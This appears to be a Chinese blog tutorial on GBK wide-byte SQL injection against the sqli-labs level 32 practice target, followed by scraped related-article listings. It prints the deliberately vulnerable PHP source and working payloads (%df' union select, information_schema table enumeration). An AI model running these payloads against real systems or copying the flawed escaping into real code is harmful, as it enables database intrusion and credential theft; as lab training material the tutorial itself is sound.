sql注入–宽字节注入

靶场:sqli-labs-master
下载链接:靶场下载链接

第32关
php源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");function check_addslashes($string)
{$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash$string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash$string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslashreturn $string;
}// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql;
echo "</br>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo '<font color= "#00FF00">';  echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  }
}else { echo "Please input the ID as parameter with numeric value";}?>

分析源代码可以知道

该页面对传入的id进行了过滤,对提交的反斜杠,单引号和双引号都进行了转义

使用gbk进行编码

漏洞原理:1个gbk编码占用2个字节
1个utf-8编码占用3个字节
数据库必须使用gbk编码才存在宽字节注入
利用了gbk两个字节为1个汉字的特点,而有的php程序对输入的单引号进行了转义,即把’转义为 \’ ,而经过url编码后,\被编码为%5c,所以我们可以构造payload将这个%5c吃掉,组成一个gbk对应的汉字编码达到绕过过滤的目的

正常查询:

尝试使用单引号进行闭合

页面回显没有变化,说明’被过滤
对于gbk编码,可以构造payload:
1%df’
原理:1.‘被转义为’ 2.\经过url编码被转义为%5c 3.%5c 与前面的%df组合成 %df%5c 在gbk编码中一个汉字对应两个字节,刚好%df%5c就对应汉字 :誠 ,因此经过解析,查询语句变为了?id=1誠’

页面报错

这样单引号就被闭合了。就可以进行一系列的注入操作

①.获取字段信息

?id =1%df' order by 3 %23



order by 3时有回显,4 时报错,猜解出字段数为3

②.猜解回显点

?id=0%df' union select 1,2,3 %23


2,3为回显点

③.获取数据表名字
第一个表

?id=0%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1%23

第二个表

?id=0%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1%23


第三个表

?id=0%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 2,1%23


第四个表

?id=0%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 2,1%23

sql注入--宽字节注入相关推荐

  1. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  2. SQL注入 | 宽字节注入2

    SQL注入 | 宽字节注入2 1.宽字节注入基础 最常使用的宽字节注入是利用%df,其实我们只要第一个ASCII码大于128就可以了,比如ASCII码为129的就可以,但是我们怎么将他转换为URL编码 ...

  3. mysql 宽字符注入_sql注入 宽字节注入

    宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(ascii码要大于128,才到汉字的范围), 而当我们输入有单引号时会自动加入\进行转义而 ...

  4. 渗透测试学习笔记(一)注入篇-盲注 二次注入 宽字节注入

    时间注入攻击 sleep() 利用函数if(条件,结果1,结果2) len id = 1 and  if(length(database())>1,sleep(5),1) 首先猜解表名称长度 s ...

  5. 封神台SQL注入-宽字节

    一.原理 magic_quotes_gpc(魔术引号开关) magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post.get.cookie过来的数据增加转义字符 ...

  6. sql注入_1-8_宽字节注入

    文章目录 一.sql_宽字节注入概念 二.sql_宽字节注入源码分析 三.sql_宽字节注入演示 四.sql_宽字节注入总结 一.sql_宽字节注入概念 1.了解宽字节注入前,必须先了解字符集编码:点 ...

  7. mysql sql宽字节注入_sql注入之宽字节注入

    宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码 不过既然是sql注入的一部分,也搭建环境  做做实验 实验环境: wamp集成包 实 ...

  8. SQL注入教程——(四)宽字节注入

    前言 在mysql中,用于转义(即在字符串中的符号前加上"\")的函数有addslashes,mysql_real_escape_string,mysql_escape_strin ...

  9. ctf php sql注入,【CTF-Web Learning 1】0x01 SQL注入之宽字节注入

    0x01 前言 准备系统梳理和总结提高这一年所学的关于Web方面东西,如有问题欢迎指点. 在计算机中,字符的表示与存储都离不开编码.例如ASCII,utf-8,gbk2312等.通常字符的表示都只需1 ...

最新文章

  1. oralce mysql_Oralce和Mysql的3个区别
  2. 性能测试vs负载测试vs压力测试
  3. k8s部署dashboard
  4. 段错误 (核心已转储)_向大厂看齐!为自己的程序增加自动转储的功能!
  5. 如何学习Linux性能优化?
  6. DataX配置及使用
  7. SAP Spartacus layout设计原理
  8. sqlserver2008r2安装
  9. 构建Java Web开发环境
  10. python之路-SQLAlchemy
  11. 文章中嵌入代码块_如何在您的文章中嵌入多项选择测验问题
  12. 编译:splint 遇到的问题: undefined reference to `yywrap'
  13. Objective-C:ARC自动释放对象内存
  14. 网站做渗透测试服务的步骤
  15. FFmpeg 视频裁剪
  16. 20考研暨南大学上岸经验贴QAQ
  17. IPV6 DNS服务器地址列表
  18. python运行内存不足_python svm内存不足怎么解决?
  19. JavaScript多线程编程
  20. 软件工程---个人总结

热门文章

  1. xp系统网上邻居看不到局域网电脑_网上邻居看不到局域网的其它计算机名
  2. 24款神级插件,让你的 vscode更牛
  3. 云聚创新力量 领航数字未来 峯云5G·联通沃云峰会2019成功举行
  4. 一种经典的客户关系管理系统(CRM)订单模型的设计与实现
  5. 团队项目3.0与第六七章读后感
  6. IPv6路由器警告(alert)选项
  7. win10虚拟机dhcp服务器,怎么解决win10系统关闭虚拟机开机停在dhcp无法启动的问题...
  8. Aspose.Words 复制表格并将复制的表格插入原有表格后面
  9. 008 解决问题的策略 转化(苏教版 五下)
  10. 【小程序】微信小程序自定义导航栏及其封装